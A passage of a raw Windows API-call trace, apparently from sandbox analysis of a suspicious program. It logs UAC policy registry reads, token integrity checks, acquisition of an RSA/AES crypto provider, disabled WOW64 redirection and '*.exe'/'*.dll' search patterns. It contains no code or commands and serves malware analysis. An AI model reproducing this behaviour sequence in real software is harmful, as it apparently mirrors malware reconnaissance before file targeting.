lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.835] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd2b8 [0023.835] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc510 [0023.835] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.835] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd2c8 [0023.835] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc558 [0023.835] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0023.835] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd2d8 [0023.835] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc438 [0023.835] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x18f680, lpcchValueName=0x18f67c, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x18f67c, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0023.835] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc5a0 [0023.835] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18f78c, lpData=0x0, lpcbData=0x18f794*=0x0 | out: lpType=0x18f78c*=0x4, lpData=0x0, lpcbData=0x18f794*=0x4) returned 0x0 [0023.835] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x18f78c, lpData=0xddc480, lpcbData=0x18f794*=0x4 | out: lpType=0x18f78c*=0x4, lpData=0xddc480*=0x1, lpcbData=0x18f794*=0x4) returned 0x0 [0023.835] RegCloseKey (hKey=0x24) returned 0x0 [0023.835] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18f804 | out: TokenHandle=0x18f804*=0x24) returned 1 [0023.835] GetTokenInformation (in: TokenHandle=0x24, TokenInformationClass=0x14, TokenInformation=0x18f800, TokenInformationLength=0x4, ReturnLength=0x18f7fc | out: TokenInformation=0x18f800, ReturnLength=0x18f7fc) returned 1 [0023.835] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18f7f0 | out: TokenHandle=0x18f7f0*=0xa0) returned 1 [0023.835] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18f7ec | out: TokenInformation=0x0, ReturnLength=0x18f7ec) returned 0 [0023.835] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc5a0 [0023.835] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0xddc5a0, TokenInformationLength=0x14, ReturnLength=0x18f7ec | out: TokenInformation=0xddc5a0, ReturnLength=0x18f7ec) returned 1 [0023.835] GetSidSubAuthorityCount (pSid=0xddc5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000)) returned 0xddc5a9 [0023.835] GetSidSubAuthority (pSid=0xddc5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x3000), nSubAuthority=0x0) returned 0xddc5b0 [0023.835] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc5a0) returned 1 [0023.835] NtClose (Handle=0xa0) returned 0x0 [0023.836] GetSystemInfo (in: lpSystemInfo=0x18f938 | out: lpSystemInfo=0x18f938*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0023.836] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x6c) returned 0xddb860 [0023.836] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc5a0 [0023.836] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xa0 [0023.836] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc480 [0023.836] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc438 [0023.836] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc558 [0023.836] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc510 [0023.836] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x5000) returned 0xc10048 [0023.836] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc4c8 [0023.836] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc4c8) returned 1 [0023.836] CryptAcquireContextW (in: phProv=0x18f94c, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f94c*=0x2ade88) returned 1 [0023.988] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc10048) returned 1 [0023.988] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddb8d8 [0023.988] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddb960 [0023.988] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc4c8 [0023.988] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddb9e8 [0023.988] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddba70 [0023.988] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc3f0 [0023.988] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbaf8 [0023.988] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc3a8 [0023.988] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x5000) returned 0xc10048 [0023.988] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc360 [0023.988] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc360) returned 1 [0023.988] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0023.996] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc10048) returned 1 [0023.996] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x2a84f8, lpbSaclPresent=0x18f900, pSacl=0x18f954, lpbSaclDefaulted=0x18f900 | out: lpbSaclPresent=0x18f900, pSacl=0x18f954, lpbSaclDefaulted=0x18f900) returned 1 [0023.996] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc360 [0023.996] CreateEventA (lpEventAttributes=0x18f948, bManualReset=1, bInitialState=0, lpName="") returned 0xe8 [0023.996] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc360) returned 1 [0023.996] GetLastError () returned 0x0 [0023.997] LocalFree (hMem=0x2a84f8) returned 0x0 [0023.997] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc360 [0023.997] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x5000) returned 0xc10048 [0023.997] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc318 [0023.997] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc318) returned 1 [0023.997] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0023.997] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc10048) returned 1 [0023.997] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x2a84f8, lpbSaclPresent=0x18f900, pSacl=0x18f954, lpbSaclDefaulted=0x18f900 | out: lpbSaclPresent=0x18f900, pSacl=0x18f954, lpbSaclDefaulted=0x18f900) returned 1 [0023.997] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc318 [0023.998] CreateEventA (lpEventAttributes=0x18f948, bManualReset=1, bInitialState=0, lpName="") returned 0xec [0023.998] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc318) returned 1 [0023.998] GetLastError () returned 0x0 [0023.998] LocalFree (hMem=0x2a84f8) returned 0x0 [0023.998] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc318 [0023.998] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x5000) returned 0xc10048 [0023.998] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc2d0 [0023.998] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc2d0) returned 1 [0023.998] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0023.998] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc10048) returned 1 [0023.998] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x2a84f8, lpbSaclPresent=0x18f900, pSacl=0x18f954, lpbSaclDefaulted=0x18f900 | out: lpbSaclPresent=0x18f900, pSacl=0x18f954, lpbSaclDefaulted=0x18f900) returned 1 [0023.998] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc2d0 [0023.998] CreateEventA (lpEventAttributes=0x18f948, bManualReset=1, bInitialState=0, lpName="") returned 0xf0 [0023.999] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc2d0) returned 1 [0023.999] GetLastError () returned 0x0 [0023.999] LocalFree (hMem=0x2a84f8) returned 0x0 [0023.999] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x2800) returned 0xc10048 [0023.999] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddbb80 [0023.999] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc2d0 [0023.999] Wow64DisableWow64FsRedirection (in: OldValue=0x18f97c | out: OldValue=0x18f97c*=0x0) returned 1 [0023.999] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x2800) returned 0xc12850 [0023.999] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0023.999] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0023.999] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x10) returned 0xddd5e8 [0023.999] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd2d8 [0023.999] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0023.999] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc1f8 [0023.999] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc1f8) returned 1 [0023.999] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0023.999] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd2d8) returned 1 [0023.999] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd5e8) returned 1 [0023.999] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc12850) returned 1 [0023.999] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x2800) returned 0xc12850 [0023.999] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0023.999] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0023.999] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0023.999] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x10) returned 0xddd5e8 [0023.999] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd2d8 [0023.999] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc1f8 [0023.999] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0023.999] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd2c8 [0023.999] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0023.999] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x10) returned 0xddd600 [0023.999] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd2b8 [0024.000] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc1b0 [0024.000] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd2a8 [0024.000] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc168 [0024.000] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc1f8) returned 1 [0024.000] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd2d8) returned 1 [0024.000] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.000] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd2c8) returned 1 [0024.000] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd5e8) returned 1 [0024.000] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.000] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.000] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.000] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.000] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x10) returned 0xddd5e8 [0024.000] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd2c8 [0024.000] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.000] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd2d8 [0024.000] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc1f8 [0024.000] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc1b0) returned 1 [0024.000] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd2b8) returned 1 [0024.000] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc168) returned 1 [0024.000] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd2a8) returned 1 [0024.000] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd600) returned 1 [0024.000] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x10) returned 0xddd600 [0024.000] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd2a8 [0024.000] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc168 [0024.000] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd2b8 [0024.000] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc1b0 [0024.000] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.000] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd2c8) returned 1 [0024.000] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc1f8) returned 1 [0024.000] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd2d8) returned 1 [0024.000] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd5e8) returned 1 [0024.000] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x10) returned 0xddd5e8 [0024.000] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd2d8 [0024.000] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc1f8 [0024.000] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd2c8 [0024.001] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.001] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc168) returned 1 [0024.001] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd2a8) returned 1 [0024.001] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc1b0) returned 1 [0024.001] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd2b8) returned 1 [0024.001] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd600) returned 1 [0024.001] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xc12850) returned 1 [0024.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xddc1f8, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0024.001] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddd9d0 [0024.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xddc1f8, cbMultiByte=5, lpWideCharStr=0xddd9d0, cchWideChar=5 | out: lpWideCharStr="*.exe") returned 5 [0024.001] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddda58 [0024.001] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd9d0) returned 1 [0024.001] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x10) returned 0xddd600 [0024.001] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd2b8 [0024.001] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddd9d0 [0024.001] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddda58) returned 1 [0024.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xddc288, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0024.001] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddda58 [0024.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xddc288, cbMultiByte=5, lpWideCharStr=0xddda58, cchWideChar=5 | out: lpWideCharStr="*.dll") returned 5 [0024.001] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xdddae0 [0024.001] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddda58) returned 1 [0024.001] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd2a8 [0024.001] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x80) returned 0xddda58 [0024.001] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xdddae0) returned 1 [0024.001] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc1f8) returned 1 [0024.001] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd2d8) returned 1 [0024.001] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.001] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd2c8) returned 1 [0024.001] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd5e8) returned 1 [0024.001] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x2800) returned 0xc12850 [0024.001] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.001] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.001] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.001] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x10) returned 0xddd5e8 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd2c8 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc1f8 [0024.002] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd2d8 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc1b0 [0024.002] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd298 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc168 [0024.002] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd288 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc120 [0024.002] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x20) returned 0xddbc08 [0024.002] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd5e8) returned 1 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd278 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc240 [0024.002] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd268 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc0d8 [0024.002] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd258 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x20) returned 0xc15058 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd248 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc5e8 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd238 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc630 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd228 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc678 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd218 [0024.002] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc6c0 [0024.003] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd208 [0024.003] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc708 [0024.003] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd1e8 [0024.003] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc750 [0024.003] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x8) returned 0xddd1f8 [0024.003] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc798 [0024.003] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc1f8) returned 1 [0024.003] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd2c8) returned 1 [0024.003] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc1b0) returned 1 [0024.003] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd2d8) returned 1 [0024.003] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc168) returned 1 [0024.003] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd298) returned 1 [0024.003] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc120) returned 1 [0024.003] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd288) returned 1 [0024.003] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc240) returned 1 [0024.003] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd278) returned 1 [0024.003] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc0d8) returned 1 [0024.003] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd268) returned 1 [0024.003] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.003] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddd258) returned 1 [0024.003] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddbc08) returned 1 [0024.003] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.003] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.003] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.003] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.003] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.003] RtlFreeHeap (HeapHandle=0xdd0000, Flags=0x0, BaseAddress=0xddc288) returned 1 [0024.003] RtlAllocateHeap (HeapHandle=0xdd0000, Flags=0x8, Size=0x40) returned 0xddc288 [0024.003] RtlFreeHeap 